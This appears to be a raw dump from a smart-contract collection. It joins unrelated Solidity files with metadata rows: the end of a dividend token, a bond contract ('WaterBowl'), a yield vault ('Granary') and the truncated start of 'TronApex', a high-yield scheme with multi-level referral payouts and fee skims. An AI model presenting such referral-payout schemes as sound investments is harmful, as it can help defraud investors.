// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,825 | 12,766 |
edf48bb8bea273c6c4a297902d18d050e55b3596e65d5bd749d2f695565ec19d
| 12,594 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/aa/aab2433b230e8f6ce02bc8eadcc81845152cf2f2_WaterBowl.sol
| 2,810 | 11,161 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IFetch is IERC20 {
function breed(address to, uint256 amount) external;
function maxSupply() external view returns (uint256);
}
// We come to the water bowl to lap up liquidity. Mmmmmm.
// Max payout and capacity decrease as supply gets closer to max.
// FETCH is paid at the time of deposit.
contract WaterBowl {
using SafeERC20 for IERC20;
using SafeERC20 for IFetch;
IFetch public immutable fetch;
IERC20 public immutable lp;
address public immutable kibble;
uint256 public immutable DECAY = 600_000; // one week
uint256 public immutable openPrice = 5e12; // floor price to break - 200k FETCH / LP
uint256 public totalDebt; // Total value of outstanding bonds
uint256 public lastDecay; // Last deposit
constructor (address _fetch,
address _lp,
address _kibble) {
require(_fetch != address(0));
fetch = IFetch(_fetch);
require(_lp != address(0));
lp = IERC20(_lp);
require(_kibble != address(0));
kibble = _kibble;
}
function deposit(uint amount,
uint maxPrice) external returns (uint) {
if (totalDebt == 0) {
totalDebt = circulatingSupply() / 5;
lastDecay = block.timestamp;
}
decayDebt();
uint price = bondPrice();
require(maxPrice >= price, "Slippage limit: more than max price");
uint payout = payoutFor(amount);
require(payout <= maxPayout(), "Bond too large");
lp.safeTransferFrom(msg.sender, address(this), amount);
fetch.breed(msg.sender, payout);
totalDebt += payout; // increase total debt
return payout;
}
function decayDebt() internal {
totalDebt = totalDebt - debtDecay();
lastDecay = block.timestamp;
}
function debtDecay() public view returns (uint decay_) {
uint secondsSinceLast = block.timestamp - lastDecay;
decay_ = totalDebt * secondsSinceLast / DECAY;
if (decay_ > totalDebt) {
decay_ = totalDebt;
}
}
function currentDebt() public view returns (uint) {
return totalDebt - debtDecay();
}
function payoutFor(uint amount) public view returns (uint256) {
return amount * 1e18 / bondPrice();
}
function bondPrice() public view returns (uint256 price_) {
if (controlVariable() >= debtRatio()) {
price_ = openPrice;
} else {
price_ = debtRatio() / controlVariable();
if (price_ < openPrice) {
price_ = openPrice;
}
}
}
function debtRatio() public view returns (uint256) {
return currentDebt() * 1e18 / circulatingSupply();
}
function maxPayout() public view returns (uint256) {
uint256 supply = circulatingSupply();
uint256 maxSupply = fetch.maxSupply();
uint256 max;
if (supply < maxSupply / 10) {
max = 100;
} else if (supply < maxSupply / 5) {
max = 50;
} else if (supply < maxSupply / 3) {
max = 25;
} else if (supply < maxSupply / 2) {
max = 10;
} else {
max = 5;
}
return supply * max / 10_000;
}
function controlVariable() public view returns (uint256) {
uint256 supply = circulatingSupply();
uint256 maxSupply = fetch.maxSupply();
if (supply < maxSupply / 10) {
return 5e7;
} else if (supply < maxSupply / 5) {
return 1e7;
} else if (supply < maxSupply / 3) {
return 5e6;
} else if (supply < maxSupply / 2) {
return 2e6;
} else {
return 1e6;
}
}
function circulatingSupply() public view returns (uint256) {
return fetch.totalSupply() - fetch.balanceOf(kibble);
}
function recoverLostToken(address token_) external {
require(token_ != address(fetch), "woof");
require(token_ != address(lp), "woof");
IERC20(token_).safeTransfer(msg.sender, IERC20(token_).balanceOf(address(this)));
}
}
| 115,244 | 12,767 |
ed2ba96e3fe39b0e200f759fdc48086fe5cde92f747cd09fa744fe1cb2d8ca68
| 23,787 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/5e/5e62e97a73258947e1745071ba342c6169a25e80_Granary.sol
| 5,681 | 15,844 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
pragma abicoder v2;
//ftm.guru's Universal On-chain TVL Calculator
//Source: https://ftm.guru/rawdata/tvl
interface ITVL {
//Using Version = 6
function p_lpt_coin_usd(address lp) external view returns(uint256);
}
interface IMasterchef {
// Info of each pool.
struct PoolInfo {
IERC20 lpToken;
uint256 allocPoint;
uint256 lastRewardTime;
uint256 accDMDPerShare;
uint256 depositFeeBP;
}
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
function userInfo(uint256, address) external view returns (UserInfo memory);
function poolInfo(uint256) external view returns (PoolInfo memory);
function totalAllocPoint() external view returns (uint256);
function pendingDMD(uint256 _pid, address _user) external view returns (uint256);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//Uniswap-style Pair (LPT)
function getReserves() external view returns (uint112, uint112, uint32);
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Granary
{
using SafeMath for uint256;
constructor (address _w, address _m, address _e, uint8 _p, address _R, address[] memory _rA, address[] memory _rB, string memory _id, address _v)
{
want=IERC20(_w);
mc=IMasterchef(_m);
earn=IERC20(_e);
allnums[0]=_p; //pid
router = _R;
routeA = _rA;
routeB = _rB;
id=_id;//GRAIN#ID
utvl=_v;
//Approvals
//mc to take what it may want
IERC20(address(want)).approve(address(mc),uint256(-1));
//router to sell what we earn
IERC20(address(earn)).approve(address(router),uint256(-1));
//router to add routeA[routeA.length-1]
IERC20(_rA[_rA.length-1]).approve(address(router),uint256(-1));
//router to add routeB[routeB.length-1]
IERC20(_rB[_rB.length-1]).approve(address(router),uint256(-1));
dao = 0x167D87A906dA361A10061fe42bbe89451c2EE584;
treasury = dao;
}
modifier DAO {require(msg.sender==dao,"Only E.L.I.T.E. D.A.O. Treasury can rescue treasures!");_;}
struct Elites {
address ELITE;
uint256 ELITES;
}
Elites[] public Eliteness;
function pushElite(address elite, uint256 elites) public DAO {
Eliteness.push(Elites({ELITE:elite,ELITES:elites}));
}
function pullElite(uint256 n) public DAO {
Eliteness[n]=Eliteness[Eliteness.length-1];Eliteness.pop();
}
//@xref takeFee=eliteness(msg.sender)?false:true;
function eliteness(address u) public view returns(bool)
{
if(Eliteness.length==0){return(true);}//When nobody is an Elite, everyone is an Elite.
for(uint i;i<Eliteness.length;i++){
if(IERC20(Eliteness[i].ELITE).balanceOf(u)>=Eliteness[i].ELITES)
{
return(true);
}
}
return(false);
}
function config(//address _w,
uint256 _mw, uint256 _wi, uint256 _pf, address _t, uint256 _df) public DAO
{
allnums[4] = _mw;
treasury = _t;
//Max 10%, 1e6 = 100%
require(_wi<1e5,"!wi: high");allnums[3] = _wi;
require(_pf<1e5,"!pf: high");allnums[2] = _pf;
require(_df<1e5,"!df: high");allnums[1] = _df;
}
uint8 RG = 0;
modifier rg {
require(RG == 0,"!RG");
RG = 1;
_;
RG = 0;
}
function isContract(address account) internal view returns (bool)
{
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
//Using getter functions to circumvent "Stack too deep!" errors
string public id;
function name() public view returns(string memory){return(string(abi.encodePacked("ftm.guru/GRAIN/", id)));}
function symbol() public view returns(string memory){return(string(abi.encodePacked("GRAIN#", id)));}
function decimals() public pure returns(uint256){return(18);}
uint256 public totalSupply;
IERC20 public want;
IERC20 public earn;
address public router;
address[] public routeA;
address[] public routeB;
IMasterchef public mc;
bool public emergency = false;
address public dao;
address public treasury;
address public utvl;
//Using array to avoid "Stack too deep!" errors
uint256[7] public allnums = [
0, //pid 0 constant
1e3,//df 1 config, <= 10% (1e5), default 0.1%
1e4,//pf 2 config, <= 10% (1e5), default 1%
1e4,//wi 3 config, <= 10% (1e5), default 1%
1, //mw 4 config, default 1 (near zero)
0, //ct[0] 5 nonce, then constant
0 //ct[1] 6 up only
];
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function approve(address guy) public returns (bool) {
return approve(guy, uint(-1));
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool)
{
require(balanceOf[src] >= wad,"Insufficient Balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event Compounded(address indexed user, uint256 amount);
function deposit(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Please don't deposit.");
//require(isContract(msg.sender)==false,"Humans only");
//require(msg.sender==tx.origin,"Humans only");
//Some fancy math to take care of Fee-on-Transfer tokens
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
require(want.transferFrom(msg.sender,address(this),_amt), "Unable to onboard");
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty deposit");
mc.deposit(allnums[0],D);
//Some more fancy math to take care of Deposit Fee
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//require(M>mindep,"Deposit Too Low");
uint256 _mint = 0;
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
totalSupply += _mint;
uint256 _fee;
//allnums[1]===df, deposit fee
if(allnums[1]>0){_fee = eliteness(msg.sender)? 0 : (_mint.mul(allnums[1])).div(1e6);}//gas savings
if(_fee>0)//gas savings
{
balanceOf[treasury] += _fee;
emit Transfer(address(0), treasury, _fee);
}
balanceOf[msg.sender] += _mint.sub(_fee);
emit Transfer(address(0), msg.sender, _mint.sub(_fee));
//hardWork()
//allnums[4]===mw, min work : smallest harvest
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function withdraw(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
uint256 ts = totalSupply;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
// W = DepositsPerShare * SharesBurnt
uint256 W = (_amt.mul(mcbb)).div(ts);
mc.withdraw(allnums[0],W);
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty withdrawal");
require(want.transfer(msg.sender,D), "Unable to deboard");
//hardWork()
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function doHardWork() public rg
{
require(eliteness(msg.sender),"Elites only!");
salvage();
require(earn.balanceOf(address(this)) > allnums[4], "Not much work to do!");
work(msg.sender);
}
function salvage() public
{
//harvest()
mc.withdraw(allnums[0],0);
}
function work(address ben) internal
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
//has inputs from salvage() if this work is done via doHardWork()
IRouter R = IRouter(router);
IERC20 A = IERC20(routeA[routeA.length-1]);
IERC20 B = IERC20(routeB[routeB.length-1]);
uint256 vbb = (earn.balanceOf(address(this))).div(2);
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,routeA,address(this),block.timestamp);
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,routeB,address(this),block.timestamp);
R.addLiquidity(address(A),
address(B),
A.balanceOf(address(this)),
B.balanceOf(address(this)),
(A.balanceOf(address(this)).mul(90).div(100)),
(B.balanceOf(address(this)).mul(90).div(100)),
address(this),
block.timestamp);
uint256 D = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
mc.deposit(allnums[0],D);
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//Performance Fee Mint, conserves TVL
uint256 _mint = 0;
//allnums[5] & allnums[6] are First & Latest Compound's timestamps. Used in info() for APY of AUM.
if(allnums[5]==0){allnums[5]=uint64(block.timestamp);}//only on the first run
allnums[6]=uint64(block.timestamp);
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
//allnums[2] === pf, Performance Fee
balanceOf[treasury] += (_mint.mul(allnums[2])).div(1e6);
//Worker Incentive Mint, conserves TVL
address worker = ben == address(this) ? treasury : ben;
//allnums[3] === wi, Worker Incentive
balanceOf[worker] += (_mint.mul(allnums[3])).div(1e6);
totalSupply += ((_mint.mul(allnums[2])).div(1e6)).add((_mint.mul(allnums[3])).div(1e6));
emit Transfer(address(0), treasury, (_mint.mul(allnums[2])).div(1e6));
emit Transfer(address(0), worker, (_mint.mul(allnums[3])).div(1e6));
}
function declareEmergency() public DAO
{
require(!emergency,"Emergency already declared.");
mc.emergencyWithdraw(allnums[0]);
emergency=true;
}
function revokeEmergency() public DAO
{
require(emergency,"Emergency not declared.");
uint256 D = want.balanceOf(address(this));
mc.deposit(allnums[0],D);
emergency=false;
}
function emergencyWithdraw(uint256 _amt) public rg
{
require(emergency,"Its not an emergency. Use withdraw() instead.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
uint256 ts = totalSupply;
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 W = (_amt.mul(vbb)).div(ts);
require(want.transfer(msg.sender,W), "Unable to deboard");
}
function rescue(address tokenAddress, uint256 tokens) public DAO returns (bool success)
{
//Generally, there are not supposed to be any tokens in this contract itself:
//Upon Deposits, the assets go from User to the MasterChef of Strategy,
//Upon Withdrawals, the assets go from MasterChef of Strategy to the User, and
//Upon HardWork, the harvest is reconverted to want and sent to MasterChef of Strategy.
//Never allow draining main "want" token from the Granary:
//Main token can only be withdrawn using the EmergencyWithdraw
require(tokenAddress != address(want), "Funds are Safu in emergency!");
if(tokenAddress==address(0)) {(success,) = dao.call{value:tokens}("");return success;}
else if(tokenAddress!=address(0)) {return IERC20(tokenAddress).transfer(dao, tokens);}
else return false;
}
//Read-Only Functions
//Useful for performance analysis
function info() public view returns (uint256, uint256, uint256, IMasterchef.UserInfo memory, IMasterchef.PoolInfo memory, uint256, uint256)
{
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
uint256 roi = aum*1e18/totalSupply;//ROI: 1e18 === 1x
uint256 apy = ((roi-1e18)*(365*86400)*100)/(allnums[6]-allnums[5]);//APY: 1e18 === 1%
return(aum,
roi,
apy,
mc.userInfo(allnums[0],address(this)),
mc.poolInfo(allnums[0]),
mc.totalAllocPoint(),
mc.pendingDMD(allnums[0],address(this)));
}
//TVL in USD, 1e18===$1.
//Source code Derived from ftm.guru's Universal On-chain TVL Calculator: https://ftm.guru/rawdata/tvl
function tvl() public view returns(uint256)
{
ITVL tc = ITVL(utvl);
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
return ((tc.p_lpt_coin_usd(address(want))).mul(aum)).div(1e18);
}
}
| 317,774 | 12,768 |
57e1a7b08cca80325e321ab3982692e07a3e7ebfb7dcc47ef78d4aefdc58bc36
| 20,086 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWehXUMJfpLduYrsqdhhvnMQwBzHKPrmSv_TronApex.sol
| 5,522 | 16,635 |
//SourceUnit: tronapex_new.sol
pragma solidity 0.5.9;
contract TronApex {
using SafeMath for uint256;
uint256 constant public MinimumInvest = 100 trx;
uint256 constant public MarketingFee = 800;
uint256 constant public ServiceFee = 300;
uint256[] public ReferralCommissions = [500, 200, 50, 50];
uint256[] public ReferralBonusRewards = [1000 trx, 5000 trx, 10000 trx, 20000 trx, 50000 trx];
uint256[] public ReferralPoolPercents = [3000, 2000, 1500, 800, 700, 600, 500, 400, 300, 200];
uint256 constant public Day = 1 days;
uint256 constant public RefComDay = 2 days;
uint256 constant public HoldDay = 10 days;
uint256 constant public ROICap = 32000;
uint256 constant public PercentDiv = 10000;
uint256 constant public RefPoolBonus = 100;
uint256 constant public RefPoolGoal = 100000 trx;
uint256 constant public MaxDepositLimit = 1000000 trx;
uint256 constant public ContractBonus = 100;
uint256 constant public HoldBonusCap = 200;
uint256 constant public WithdrawalCommissionsRule = 50000 trx;
uint256 constant public WithdrawalDividendsRuleOne = 25000 trx;
uint256 constant public WithdrawalDividendsRuleOneMax = 250000 trx;
uint256 constant public WithdrawalDividendsRuleTwo = 50000 trx;
uint256 constant public WithdrawalDividendsRuleTwoMax = 500000 trx;
uint256 constant public WithdrawalDividendsRuleThree = 100000 trx;
uint256 constant public WithdrawalDividendsRuleThreeMax = 1000000 trx;
uint256 public TotalInvestors;
uint256 public TotalInvested;
uint256 public TotalWithdrawn;
uint256 public TotalDepositCount;
uint256 public RefPool;
uint256 public RefPoolID;
uint256 public Locked;
address payable public MarketingFeeAddress;
address payable public MarketingFeeAddressPromo;
address payable public ServiceFeeAddress;
mapping(uint256 => mapping(address => uint256)) public RefPoolSum;
mapping(uint256 => address payable) public topRefPool;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct Commissions {
address Downline;
uint256 Earned;
uint256 Invested;
uint256 Level;
uint256 DepositTime;
}
struct User {
Deposit[] deposits;
Commissions[] commissions;
uint256 checkpoint;
uint256 WithdrawDivTime;
uint256 WithdrawComTime;
uint256 ActiveBonus;
address payable upline;
uint256 totalinvested;
uint256 totalwithdrawn;
uint256 RefPoolScore;
uint256 RefPoolID;
uint256 totalcommisions;
uint256 lvlonecommisions;
uint256 availablecommisions;
}
mapping (address => User) internal users;
event ReferralBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawal(address indexed user, uint256 amount);
event RefPoolPrize(address indexed user, uint256 amount, uint256 place);
constructor(address payable MarketingAddress,address payable MarketingAddressPromo, address payable ServiceAddress) public {
MarketingFeeAddress = MarketingAddress;
ServiceFeeAddress = ServiceAddress;
MarketingFeeAddressPromo = MarketingAddressPromo;
RefPool = 0;
RefPoolID = 0;
Locked = 0;
}
function Invest(address payable InvestorUpline) public payable {
require(msg.value >= MinimumInvest && !isContract(msg.sender));
User storage user = users[msg.sender];
require(user.deposits.length <= 200 && user.totalinvested <= MaxDepositLimit);
uint256 TransferValue = msg.value;
uint256 availableLimit = MaxDepositLimit.sub(user.totalinvested);
if (TransferValue > availableLimit) {
msg.sender.transfer(TransferValue.sub(availableLimit));
TransferValue = availableLimit;
}
MarketingFeeAddress.transfer(TransferValue.mul(MarketingFee.div(2)).div(PercentDiv));
MarketingFeeAddressPromo.transfer(TransferValue.mul(MarketingFee.div(2)).div(PercentDiv));
ServiceFeeAddress.transfer(TransferValue.mul(ServiceFee).div(PercentDiv));
if (user.upline == address(0) && users[InvestorUpline].deposits.length > 0 && InvestorUpline != msg.sender) {
user.upline = InvestorUpline;
}
if (user.upline != address(0)) {
address upline = user.upline;
for (uint256 i = 0; i < 4; i++) {
if (upline != address(0)) {
uint256 amount = TransferValue.mul(ReferralCommissions[i]).div(PercentDiv);
users[upline].totalcommisions = users[upline].totalcommisions.add(amount);
users[upline].availablecommisions = users[upline].availablecommisions.add(amount);
if(i == 0){
users[upline].lvlonecommisions = users[upline].lvlonecommisions.add(amount);
elaborateRefPool(user.upline, TransferValue);
users[upline].commissions.push(Commissions(msg.sender, amount, TransferValue, i, block.timestamp));
}
emit ReferralBonus(upline, msg.sender, i, amount);
upline = users[upline].upline;
} else break;
}
}else{
MarketingFeeAddress.transfer(TransferValue.mul(MarketingFee).div(PercentDiv));
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
TotalInvestors = TotalInvestors.add(1);
}
RefPool = RefPool.add(TransferValue.mul(RefPoolBonus).div(PercentDiv));
user.deposits.push(Deposit(TransferValue, 0, block.timestamp));
user.totalinvested = user.totalinvested.add(TransferValue);
